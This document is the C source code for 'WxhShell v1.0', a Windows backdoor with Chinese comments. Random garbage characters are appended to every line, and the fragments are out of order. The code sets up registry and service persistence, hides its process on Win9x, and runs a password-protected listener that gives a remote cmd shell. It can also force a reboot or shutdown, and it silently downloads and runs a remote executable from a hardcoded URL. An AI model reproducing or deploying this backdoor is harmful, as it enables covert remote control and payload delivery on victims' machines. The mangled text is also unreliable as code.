    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 [ ,+\  
    if(Boot(SHUTDOWN)) UU iNR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K/vxzHSl  
    else { X-kXg)!Bg  
    closesocket(wsh); |P~O15V*Q  
    ExitThread(0); 7q%|4Z-~  
    } Z}8k[*.  
    break; ,< @,gZru  
    } @up&q  
  // 获取shell W/ g|{t[  
  case 's': { 5LQk8NPh  
    CmdShell(wsh); @[MO,J&h  
    closesocket(wsh); x37/cu  
    ExitThread(0); c ]>DI&$;J  
    break; <nDNiM#  
  } "7=bL7wM&  
  // 退出 AL>c:K)qO  
  case 'x': { CO-Iar  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \U/v;Ijf  
    CloseIt(wsh); (VgNb&Yo9  
    break; zlH28V  
    } ,*/Pg 52?  
  // 离开 Hm>-LOCcl  
  case 'q': { 8y$5oD6g9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \V]t!mZ-}l  
    closesocket(wsh); >s&XX, w  
    WSACleanup(); B!eK!B  
    exit(1); D=$4/D:;  
    break; k+FMZ, D|  
        } d9O:,DKf  
  } /@VsqD  
  } pvlDjj}  
~?gzq~~t  
  // 提示信息 6N"m?g*Z d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 14mf}"z\  
} d$w(-tV42  
  } @B?FE\  
z&O#v9.NE|  
  return; * -0>3  
} wfE^Sb3  
rn;<HT  
// shell模块句柄 axX{6  
int CmdShell(SOCKET sock) {@3z\wMK$  
{ ymYBm: "  
STARTUPINFO si; ML=eL*}l  
ZeroMemory(&si,sizeof(si)); x|8^i6xB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }MP>]8Aq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?ty>}.c t  
PROCESS_INFORMATION ProcessInfo; "Ht'{&  
char cmdline[]="cmd"; 09'oz*v{#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S<"oUdkz  
  return 0; msiu8E  
} 1RLym9JN  
\/ErPi=g  
// 自身启动模式 pr_>b`p6  
int StartFromService(void) $E\^v^LW  
{ 8f|98T"  
typedef struct J/ vK6cO\  
{ YlTaN,?j  
  DWORD ExitStatus; yI&9\fn  
  DWORD PebBaseAddress; V,Q4n%h1.  
  DWORD AffinityMask; QOH<]~3J  
  DWORD BasePriority; (!3;X"l  
  ULONG UniqueProcessId; E;9>ePd@  
  ULONG InheritedFromUniqueProcessId;  S(  
}   PROCESS_BASIC_INFORMATION; s3:9$.tiR[  
;'0=T0\  
PROCNTQSIP NtQueryInformationProcess; xR?V,uV'$&  
vQ1 v# Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H}/05e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 19W:-Om  
?2 f_aY ;  
  HANDLE             hProcess; :5b0np!  
  PROCESS_BASIC_INFORMATION pbi; @}&_Dvf  
^nNitF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q9]IIv  
  if(NULL == hInst ) return 0; iX"C/L|JN  
qtMD CXZ^n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XKS8K4"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JeCg|@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r^1+cwy/7P  
,[e\cnq[  
  if (!NtQueryInformationProcess) return 0; QI_4*  
Z"y=sDO{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -1u9t4+`  
  if(!hProcess) return 0; t~hTp K*  
k XrlSaIc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "N5!mpD"  
{<=#*qx[Y!  
  CloseHandle(hProcess); Ef)yQ  
[{ ~TcT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y7)(LQRE {  
if(hProcess==NULL) return 0; CU)|-*uiK  
e<cM[6H'D  
HMODULE hMod; Qk976  
char procName[255]; . (}1%22  
unsigned long cbNeeded; CAD@XZSh  
r] Lc9dL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oCS2E =O&  
6 #@ f'~s  
  CloseHandle(hProcess); `bjizS'^  
Sa1 l=^  
if(strstr(procName,"services")) return 1; // 以服务启动 9DQa PA6  
;j8 )KC  
  return 0; // 注册表启动 \Ae9\Jp8M  
} NnT g3:.  
TuDE@ gq(  
// 主模块 H1n1-!%d  
int StartWxhshell(LPSTR lpCmdLine) H<EQu|f&x  
{ Q[F}r`  
  SOCKET wsl; @&|l^ 1  
BOOL val=TRUE; :Bu2,EL*O  
  int port=0; $(e#aHB  
  struct sockaddr_in door; e [_m< e  
 Q6'x\  
  if(wscfg.ws_autoins) Install(); *^%Q0mU[  
jh2t9SI~  
port=atoi(lpCmdLine); jw<pK4?y  
@f]{>OS  
if(port<=0) port=wscfg.ws_port; G)v #+4  
Ig]iT  
  WSADATA data; k@ZLg9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w@JKl5  
K*UgX(xu4P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Urr#N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o*U]v   
  door.sin_family = AF_INET; Mi'8 ~J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Um#Wu]i  
  door.sin_port = htons(port); ; bHV  
l2N]a9bq@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~ .;<  Bj  
closesocket(wsl); *HEuorl  
return 1; otggN:^Qw  
} P) 3mX.(}  
oy<WsbnS  
  if(listen(wsl,2) == INVALID_SOCKET) { b#7{{@H  
closesocket(wsl); x#Sqn#  
return 1; .{y uo{u  
} 3U_2!zF3_  
  Wxhshell(wsl); Na X   
  WSACleanup();  Yn8=  
5^^XQ?"  
return 0; ZXm/A0)S  
_h}kp\sps  
} {e|[%reSkg  
jH_JmYd  
// 以NT服务方式启动 f bUr`~Y"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bw\@W{a%q  
{ E*+{t~  
DWORD   status = 0; RjN{%YkXe  
  DWORD   specificError = 0xfffffff; D 9M:^  
+SwR+H)?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K4kMM*D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 720DV +o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W*2U="t  
  serviceStatus.dwWin32ExitCode     = 0; ght$9>'n  
  serviceStatus.dwServiceSpecificExitCode = 0; D*lKn62  
  serviceStatus.dwCheckPoint       = 0; i-6 Z"b{  
  serviceStatus.dwWaitHint       = 0; %$b:X5$Z  
w!D|]LoE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -,U3fts  
  if (hServiceStatusHandle==0) return; *c2YRbU(  
9g<7i  
status = GetLastError(); !jTcsN%  
  if (status!=NO_ERROR) k?,1x~  
{ w4gJoxY-`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4T ~}  
    serviceStatus.dwCheckPoint       = 0; R~PA 1wDZ  
    serviceStatus.dwWaitHint       = 0; #?S^kM-0  
    serviceStatus.dwWin32ExitCode     = status; }9FSO9*&}  
    serviceStatus.dwServiceSpecificExitCode = specificError; adR)Uq9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p9x(D/YP0  
    return; xU4 +|d  
  } jEZMUqGY!  
 bJX)$G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =o$sxb E(  
  serviceStatus.dwCheckPoint       = 0; ;'cN<x)% |  
  serviceStatus.dwWaitHint       = 0; C)`Fv=]R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }F#okU  
} r/u A.Aou^  
l`f/4vy  
// 处理NT服务事件,比如:启动、停止 0|{u{w@!`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U`2e{>'4t  
{ *Qg_F6y  
switch(fdwControl) AT2nVakL  
{ 3`t%g[D1  
case SERVICE_CONTROL_STOP: Gz,i~XX  
  serviceStatus.dwWin32ExitCode = 0; (KDD e}f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;)D];u|_  
  serviceStatus.dwCheckPoint   = 0; xLK<W"%0  
  serviceStatus.dwWaitHint     = 0; [PNT\ElT  
  { +JjW_Rl?=V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VHIOwzC  
  } 6\g cFfo  
  return; UG+d-&~Ll  
case SERVICE_CONTROL_PAUSE: W04@!_) <  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x|pg"v&[  
  break; LG9+y  
case SERVICE_CONTROL_CONTINUE: Y 0d<~*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fSK]|"c  
  break; ]:XoRyIZ1[  
case SERVICE_CONTROL_INTERROGATE: >0ow7Uw;  
  break; _`&m\Qe>  
}; UQ?XqgUM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }fb#G<3  
} Azl&mu  
5z7U1:  
// 标准应用程序主函数 _Kl_61k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,JAx ?Xb  
{ }$SavB#SBP  
PgtJ3oq [}  
// 获取操作系统版本 hT`J1nNt  
OsIsNt=GetOsVer(); 9K{%vK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B +\3-q  
[>8}J "  
  // 从命令行安装 m% -g~q  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ 9 {*94M  
Wh+{mvu#  
  // 下载执行文件 r`W)0oxD  
if(wscfg.ws_downexe) { Mm.<r-b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7K,-01-:  
  WinExec(wscfg.ws_filenam,SW_HIDE); p>RNPrT  
} Cl; oi}L  
U}yW<#$+  
if(!OsIsNt) { DS+}UO  
// 如果时win9x,隐藏进程并且设置为注册表启动 YVQN&|-  
HideProc(); 0^I|u t4  
StartWxhshell(lpCmdLine); Aw$x;3y  
} j9eTCJqB  
else XG{{ 2f  
  if(StartFromService()) s.bc>E0  
  // 以服务方式启动 1C}NQ!.  
  StartServiceCtrlDispatcher(DispatchTable); N60rgSzI  
else 0 HGM4[)=  
  // 普通方式启动 [Y|8\Ph`&  
  StartWxhshell(lpCmdLine); U 9_9l7&r  
iHeN9 cl  
return 0; LLk(l#K*  
} xSktg]u Se  
6IBgt!=,  
6h|q'.Y  
UtPLI al  
=========================================== P\yDa*m  
F"&~*m^+  
d/PiiiFf,  
]RPs|R?  
Dd'm U  
WKC.$[ T=  
" vI:;A/&  
Eo{"9j\  
#include <stdio.h> }SX,^|eN  
#include <string.h> `z{%(_+[  
#include <windows.h> p`b"-[93  
#include <winsock2.h> 8$")%_1]  
#include <winsvc.h> 2/vMoVT,  
#include <urlmon.h> DK$X2B"cV  
;XF:\<+  
#pragma comment (lib, "Ws2_32.lib") :}5j##N  
#pragma comment (lib, "urlmon.lib") G9Y#kBr  
K~c=M",mW  
#define MAX_USER   100 // 最大客户端连接数 HBy[FYa4  
#define BUF_SOCK   200 // sock buffer 6VS4y-N  
#define KEY_BUFF   255 // 输入 buffer k3u "A_"c  
!Fca~31R'  
#define REBOOT     0   // 重启 _y),J'W^3u  
#define SHUTDOWN   1   // 关机 S]bmS6#  
q1z"-~i )E  
#define DEF_PORT   5000 // 监听端口 :yRo3c  
kO,zZF&  
#define REG_LEN     16   // 注册表键长度 )k\H@Dy%$  
#define SVC_LEN     80   // NT服务名长度 mkYqpD7  
tmv&U;0Z  
// 从dll定义API /JFUU[W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ",^Mxm{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xnz3p"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w\(.3W7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2/?`J  
8VeQ-#7M/  
// wxhshell配置信息 j"}*T  
struct WSCFG { |bq$xp  
  int ws_port;         // 监听端口 G f,`  
  char ws_passstr[REG_LEN]; // 口令 [NaN>BZ?  
  int ws_autoins;       // 安装标记, 1=yes 0=no !zkZQ2{Wn  
  char ws_regname[REG_LEN]; // 注册表键名 d*jMZ%@uS  
  char ws_svcname[REG_LEN]; // 服务名 ,5|&A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T+*%?2>q"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v{(^1cX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b:Wm8pp?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {l>yi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $* AYcy7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]b\yg2  
&7`^i.fh)  
}; Jll-`b 1  
}])oM|fgO  
// default Wxhshell configuration b\3Oyp>  
struct WSCFG wscfg={DEF_PORT, 1`(tf6op  
    "xuhuanlingzhe", r~/   
    1, )+[ gd/<C.  
    "Wxhshell", \9cG36  
    "Wxhshell", + Af"f' )  
            "WxhShell Service", W+PJZn  
    "Wrsky Windows CmdShell Service", N>XS=2tzN  
    "Please Input Your Password: ", t"= E^r  
  1, )2bvQy8K  
  "http://www.wrsky.com/wxhshell.exe", hEBY8=gK  
  "Wxhshell.exe" qAn!RkA  
    }; VHCK2}ps  
4kBaB  
// 消息定义模块 *~t6(v?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vRs,zL$W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iPd[l {85Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~\Hc,5G  
char *msg_ws_ext="\n\rExit."; CDP U\ZG  
char *msg_ws_end="\n\rQuit."; _a6[{_Pc  
char *msg_ws_boot="\n\rReboot..."; 1guJG_;z  
char *msg_ws_poff="\n\rShutdown..."; @JD;k>  
char *msg_ws_down="\n\rSave to "; 3~uW I%I`  
NYrQ$N"  
char *msg_ws_err="\n\rErr!"; D|e uX7b  
char *msg_ws_ok="\n\rOK!"; ]j`c]2EuP  
f"%{%M$K  
char ExeFile[MAX_PATH]; 1][4.}?F[  
int nUser = 0; gj*+\3KO@a  
HANDLE handles[MAX_USER]; R)QC)U  
int OsIsNt; y#U+c*LB  
+VO-oFE|  
SERVICE_STATUS       serviceStatus; KY51rw.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (oEC6F  
Qa-K$dm%  
// 函数声明 ,N!o  
int Install(void); 1Cgso`  
int Uninstall(void); 7Rd'm'l)  
int DownloadFile(char *sURL, SOCKET wsh); ~N<4L>y<  
int Boot(int flag); -OapVac  
void HideProc(void); vb<oi&X  
int GetOsVer(void); uBNn6j  
int Wxhshell(SOCKET wsl); mP0yk|  
void TalkWithClient(void *cs); u~WVGjoQ  
int CmdShell(SOCKET sock); ?~hHGf\^b6  
int StartFromService(void); M$/|)U'W  
int StartWxhshell(LPSTR lpCmdLine); v(ZYS']d2  
l'/R&`-n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {>DE sO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 05b_)&4R  
ABD)}n=%c  
// 数据结构和表定义 y5 *Z 3"<  
SERVICE_TABLE_ENTRY DispatchTable[] = _kU:Z  
{ mID"^NOi#  
{wscfg.ws_svcname, NTServiceMain}, SYCEQ5 -  
{NULL, NULL} E\as@pqo\p  
}; <}<zgOT[1!  
4dO~C  
// 自我安装 [lWQ'DZ  
int Install(void) 8FKXSqhVM  
{ 62 k^KO6Y  
  char svExeFile[MAX_PATH]; {^CY..3 A  
  HKEY key; mH%yGBp_  
  strcpy(svExeFile,ExeFile); Sjv dirr  
r:f[mk"-"A  
// 如果是win9x系统,修改注册表设为自启动 oSy yd  
if(!OsIsNt) { x[h^[oF0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rH_\ d?b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K{|p~B  
  RegCloseKey(key); jQ2Ot<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fl kcU `j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?OcJ )5C4  
  RegCloseKey(key); 8$6Y{$&C  
  return 0; 6-z%633DL  
    } Gft%Mq v  
  } $ M`hh{ -  
} WY?[,_4U  
else { q"\Z-D0B4  
[fAV5U  
// 如果是NT以上系统,安装为系统服务 `|{-+m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Al}6q{E9+8  
if (schSCManager!=0) d:BG#\e]v  
{ -w9pwB  
  SC_HANDLE schService = CreateService 9^oKtkoDZ  
  ( ;j[>9g  
  schSCManager, mq@6Q\Z+  
  wscfg.ws_svcname, pT=JP> nd^  
  wscfg.ws_svcdisp, 2oVSn"  
  SERVICE_ALL_ACCESS, n^Hm;BiE#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jrr EAp  
  SERVICE_AUTO_START, 1S{D6#bE  
  SERVICE_ERROR_NORMAL, vdAr|4^qB  
  svExeFile, #M9~L[nF S  
  NULL, U{2BVqM  
  NULL, gG0!C))8  
  NULL, ^E;kgED5  
  NULL, >3p \m  
  NULL );#JL0I  
  ); Ag9vU7  
  if (schService!=0) Of*Pw[vD  
  { +"rDT1^V  
  CloseServiceHandle(schService); g;pcZ9o  
  CloseServiceHandle(schSCManager); 6wBx;y |  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ((H^2KJn  
  strcat(svExeFile,wscfg.ws_svcname); kZR8a(4D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uxXBEq;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0(eB ZdRO  
  RegCloseKey(key); Jl( &!?j  
  return 0; |cK*~  
    } KI)M JG:t  
  } a!a-b~#cx  
  CloseServiceHandle(schSCManager); XW[j!`nlk  
} Bo)3!wO8  
} i6^twK)j  
9B{k , 1  
return 1; /a{la8Ni  
} } df W%{  
"sS}N%!  
// 自我卸载 Ur9?Td'*>  
int Uninstall(void) gH$ Mr  
{ p*< 0"0  
  HKEY key; +9M^7/}H  
Njxv4cc  
if(!OsIsNt) { m4**~xfC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h{CL{>d  
  RegDeleteValue(key,wscfg.ws_regname); t>L;kRujVJ  
  RegCloseKey(key); @P#N2:jwj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '.on)Zd.  
  RegDeleteValue(key,wscfg.ws_regname); ^NRl//  
  RegCloseKey(key); caU0\VS  
  return 0; Q 8T]\6)m  
  } m}C>ti`VD  
} \.0^n3y  
} d?ex,f.  
else { 8NxM4$nQX  
v| gw9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RmI]1S_=  
if (schSCManager!=0) pM+ AjPr  
{ {o)Lc6T8s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gT3_RUF  
  if (schService!=0) ~Y`ldL  
  { 8hu<E4]L  
  if(DeleteService(schService)!=0) { dz:E?  
  CloseServiceHandle(schService); -?H#LUk  
  CloseServiceHandle(schSCManager); s(5Y  
  return 0; _Us#\+]_:  
  }  .t{MIC  
  CloseServiceHandle(schService); <->{  
  } GOj-)i/_  
  CloseServiceHandle(schSCManager); n3T>QgK  
} sr r :!5  
} ed]=\Key  
$~~Jw]   
return 1; p09HL%~R  
} bZ?v-fn\D,  
SAH-p*.  
// 从指定url下载文件 mf A{3  
int DownloadFile(char *sURL, SOCKET wsh) +dWDxguE{w  
{ 8Ry3`ct  
  HRESULT hr; NiNM{[3oS  
char seps[]= "/"; &D >G8  
char *token; AhCW'.  
char *file; %r<rcY  
char myURL[MAX_PATH]; szb_*)k  
char myFILE[MAX_PATH]; 5Iy|BRU(%  
bH-ub2@qO  
strcpy(myURL,sURL); q VjdOY:z  
  token=strtok(myURL,seps); fsmN)_T  
  while(token!=NULL) n#/_Nz  
  { 2;[D;Y}  
    file=token; Kh"?%ZIa  
  token=strtok(NULL,seps); &Q9qq~  
  } y>R=`A1b  
8&;UO{  
GetCurrentDirectory(MAX_PATH,myFILE); )bA;?i  
strcat(myFILE, "\\"); ;5wn67'  
strcat(myFILE, file); ZWii)0'PV  
  send(wsh,myFILE,strlen(myFILE),0); x[4`fM.m*  
send(wsh,"...",3,0); !5wIIS:FT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /Y*WBTV'  
  if(hr==S_OK) LZ\q3 7UV  
return 0; ,f kcp]}  
else t$ +?6E  
return 1; Okgv!Nt8)A  
lackB2J9 A  
} k=2Lo  
+QB"8-  
// 系统电源模块 cy*?&~;  
int Boot(int flag) Y4%:7mw~=  
{ v.\*./-i  
  HANDLE hToken; Dw|}9;5:A  
  TOKEN_PRIVILEGES tkp; []x#iOnC&  
Pl(Q,e7O]  
  if(OsIsNt) { tWo{7)Eb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yhlFFbU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MU>k,:[  
    tkp.PrivilegeCount = 1; /TE_W@?^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k2E0/ @f{k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =Xm@YVf&ZD  
if(flag==REBOOT) { ai}mOyJs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M-\Y"]sW  
  return 0; 01[NX? qEa  
} fz;iOjr>  
else { "X2Vrn'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V zBqjE_  
  return 0; YTAmgkF\4  
} ]I-Z]m "  
  } PEc,l>u9  
  else { 6\L0mcXR!  
if(flag==REBOOT) { @HT% n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KuWWUjCE  
  return 0; 9Kr+\F  
} Fd#?\r.  
else { U93}-){m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "~`I::'c  
  return 0; FE" y\2}  
} pqUCqo!m\  
} ! N|0x`  
.id)VF-l  
return 1; t'9*R7=  
} ilK-?@u+  
0MV>"aV  
// win9x进程隐藏模块 -r#X~2tPzD  
void HideProc(void) YiYV>gaf"H  
{ "@evXql3`  
5'0xz.)!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qs|mj}?  
  if ( hKernel != NULL ) tcI}Ca>u  
  { b5,x1`#7k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6)z?f4,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u4m,'XR  
    FreeLibrary(hKernel); <Gav5R c  
  } *o-.6OxZ$  
ng:kA%! Q  
return; N+zKr/  
} UUF ;p2{f  
i.=w]S j  
// 获取操作系统版本 "+\lws  
int GetOsVer(void) @lCJ G!u  
{ vgD {qg@  
  OSVERSIONINFO winfo; o]Ol8I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cHcmgW\4  
  GetVersionEx(&winfo); Op"M.]#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \(VTt|}By$  
  return 1; kgy:Q'  
  else HQ|MhM/"  
  return 0; I<Ksi~*i  
} <cZGxff01  
$KUo s+%  
// 客户端句柄模块 IGS1|  
int Wxhshell(SOCKET wsl) }K1JU`Lz  
{ on0]vEE  
  SOCKET wsh; uA,>a>xYI  
  struct sockaddr_in client; O$D'.t  
  DWORD myID; w$H^q !(  
3<k`+,'  
  while(nUser<MAX_USER) rSxxH]-  
{ F.-R r  
  int nSize=sizeof(client); NM]s8cK_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <c)+Fno[E_  
  if(wsh==INVALID_SOCKET) return 1; 6 ` Aj%1  
CNQC^d\ h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h@:TpE+N  
if(handles[nUser]==0) 6An9S%:_  
  closesocket(wsh); YoN*:jB<M  
else t<T[h2Wd  
  nUser++; ?+g`HTY u  
  } )x}l3\s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )+6v  
d)@<W1;  
  return 0; b !%hH  
} nB%;S  
Q:|l`*.R  
// 关闭 socket Pt@%4 :&-h  
void CloseIt(SOCKET wsh) OkCQ?]  
{ KhCzD[tf  
closesocket(wsh); QCH}-q)  
nUser--; T[,/5J  
ExitThread(0); A#nun  
} fwrJ!j  
UA4J>1 i  
// 客户端请求句柄 by'DQ 00  
void TalkWithClient(void *cs) pM{nh00[  
{ !).}u,*'no  
P6 ;'Sza  
  SOCKET wsh=(SOCKET)cs; "V>R9dO{"!  
  char pwd[SVC_LEN]; {/X4(;~0  
  char cmd[KEY_BUFF]; _* IPk  
char chr[1]; zaFt*~@X  
int i,j; HQUeWCN  
tG8jFou  
  while (nUser < MAX_USER) { -29gL_dk.  
%'xb%`t  
if(wscfg.ws_passstr) { R*oXmuOsYA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}|.ZkyN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \S*$UE]uG  
  //ZeroMemory(pwd,KEY_BUFF); L4b:F0  
      i=0; ZxG}ViS4I  
  while(i<SVC_LEN) { v?0r`<Mn  
)mJf|W!Z#  
  // 设置超时 nI/kw%<  
  fd_set FdRead; ed!:/+3e/  
  struct timeval TimeOut; Ul_M3"Z  
  FD_ZERO(&FdRead); :d0Y%vl  
  FD_SET(wsh,&FdRead); J0 k  
  TimeOut.tv_sec=8; 4EXB;[ ]  
  TimeOut.tv_usec=0; 8>7RxSF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Io|X#\K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T1` |~Z?g-  
uk9g<<3T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [L6w1b,  
  pwd=chr[0]; &f>eQ S=(  
  if(chr[0]==0xd || chr[0]==0xa) { |+:h|UIUQ  
  pwd=0; '`|A I:L  
  break; F,GN[f-  
  } O<j PGU  
  i++; j}F-Xs+  
    } 6cdMS[_SD(  
!mRx$ %ul  
  // 如果是非法用户,关闭 socket ygS L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rVtw-[p  
}  \dl ph  
7 uMd ZpD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T"T;`y@(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `p0ypi3hn  
c=[q(|+O!  
while(1) { )9B:wc"  
b?Pj< tA  
  ZeroMemory(cmd,KEY_BUFF); kvGCbRC  
QC0!p"  
      // 自动支持客户端 telnet标准   8L5!T6+D&  
  j=0; {ub/3Uh  
  while(j<KEY_BUFF) { H]\Zn%.#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F_ 7H!F  
  cmd[j]=chr[0]; m ,>  
  if(chr[0]==0xa || chr[0]==0xd) { J4 tcQ  
  cmd[j]=0; z[#Fog  
  break; 02JoA+  
  } w %c  
  j++; K"<*a"1I  
    } ?0<w  
"R9Yb,tIN  
  // 下载文件 64j|}wJ$  
  if(strstr(cmd,"http://")) { k$Rnj`*^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b-@\R\T  
  if(DownloadFile(cmd,wsh)) cPn+<M#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :XV} c(+d  
  else [U\(G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Z4zF"@  
